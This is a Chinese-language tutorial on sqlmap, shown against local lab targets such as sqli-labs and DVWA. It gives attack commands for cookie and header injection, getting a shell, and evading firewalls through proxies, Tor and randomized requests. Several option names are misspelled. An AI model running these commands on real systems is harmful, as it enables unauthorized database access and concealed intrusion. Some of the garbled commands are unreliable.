这里写目录标题
请求参数指的就是发送的HTTP数据包中的各种字段,sqlmap针对这些字段进行相应的修改,进行一系列的探测
Sqlmap
服务型数据库
mysql,mssql,orcale,PostgreSQL
文件型数据库
SQLite,Access,Firebird
直连数据库
sqlmap.py -d "mysql://root:123456@192.168.1.105:3306/test1" -f --banner
//知道数据库的账号密码**直接**连接
// test1是具体数据库名称
// --banner 在banner信息中可以得到脚本语言,中间件,数据库版本等信息
// --os-shell 可以getshell
URL探测
sqlmap -u "http://192.168.1.105/sqli-labs-master/Less-1/?id=" --banner
sqlmap -r test.txt --banner
HTTP请求参数
--method=post //sqlmap 默认任务网页是get请求方式,用method指定为post方式
--data="id=1" //只有post才能在请求体中携带参数;一般要结合brupsuite抓包
--param-del=";" //http中默认使用& 作为分隔符,这里指定;为分隔符
--cookie=" " //某些登录的页面需要进行cookie验证
–cookie (cookie注入)
http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit# (GET) # E:\sqlmap\sqlmap.py -u http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit# "--cookie=security=low; PHPSESSID=o20mk0pc6p3co9i7at67nkgk14" --banner --level=2
#有cookie相关注入,一般都要用大于等于2的level
下面演示如何通过cookie进行注入
首先进行抓包,得到cookie
用sqlmap跑完之后,得到了一个文件,记录的详细的过程
打开文件,看到了曝出的数据库
下面演示另外一种场景,也是cookie注入
-
首先进行抓包
-
将抓到的数据包放行,得到登陆成功的数据包。将其复制到一个文件
-
利用sqlmap注入,返回结果如下
sqlmap.py -r text/cookie.txt --level 2 -p uname
–user-agent、–random-agent
sqlmap在默认情况下使用以下用户代理头执行HTTP请求,很容易被防火墙识别并拦截,因此要用user-agnet或–random-agnet参数进行伪造
sqlmap/1.0-dev-xxxxxxxx(http://sqlmap.org)
–user-agent。sqlmap 可以使用 指定的用户代理头执行Http请求(要通过wireshark或brupsuite抓包),通过用户自定义的代理作为参数,使用–user-agent来伪造
–random-agent。sqlmap将从/txt/user-agent中随机选择一个用户会话中的所有HTTP请求。一些站点在服务端检测HTTP User-Agent值,如果不是一个合法的值,就会中端连接
针对User-agnet的值探测sql注入的时候,设置 level >3
在一个文件的关键字中加*,表示在这个位置探测
对其他字段探测(host、referer等)
在test.txt文件中,对host字段后加*。 例如:Host: 127.0.0.1*,表示对host字段进行探测。
其中level 3就可以对referer字段进行探测,不需要再对referer字段后加*
sqlmap.py -r test.txt level 5
#要用level 5;表示探测的最高等级,对请求的每一个字段都要SQL注入探测
对其他字段进行探测可以有用 --headers参数
sqlmap.py -u "http://xxx" --headers="Host:www.xxx.com\nUswe-agent:xxxx" -v 5
#\n表示分隔符,-v 表示显示输出结果。
# 如果想探测其他字段,直接将其他字段的值复制过来就行
sqlmap绕过/隐藏技术
sqlmap绕过HTTP协议认证
可以绕过认证,继续执行sql注入的探测
python.py -u "http://192.168.1.105/sqli-labs-master/Less-1/?id=" --auth-type Basic --auth-cred "testuser:testpass"
--auth-type 支持 Basic、 Digest、 NTLM
sqlmap设置代理
通过设置代理可以隐藏我们真实的IP
--prcxy "http://ip[端口]" #设置代理服务器的位置
--proxy-cred user:passwd #用来设置HTTP代理服务器认证信息
--proxy-file test.txt # 用来再文件中设置多条代理
--ignore-proxy #sqlmap运行时,忽略系统范围内的HTTP代理服务器的设置
在实验的时候可以在网上搜索免费代理地址
sqlmap设置tor隐藏网络
使用tor匿名网络,隐藏攻击者的真实IP(但并不是所有网络都能使用tor)
--tor #开启tor连接
--tor-port #指定tor端口
--tor-type #支持http、https、socks4、socks5
--check-tor #检测tor连接是否正常
sqlmap设置发包延时
避免发包过快触发防火墙的查杀,从而绕过waf
--delay 0.5 #设置延时0.5s
设置超时
--timeout 10
#若等待10秒之后仍没有响应,就中断连接
--retried 4
#设置对应重试次数
设置随机化参数
如果只针对某个参数(例如url中的 id=)进行探测,很容易被waf检测到,因此要设置随机化参数进行探测
--randomize id
#将id的值随机化,有时会用编码的方式
设置日志过滤目标
-l #用于从提供的日志解析所有主机
sqlmap.py -l log.txt --scope="目标IP"
#只能探测scope之后能够匹配的内容
然后在抓包,将抓到的包放掉,然后就可以在刚刚创建的文件中看到抓取的内容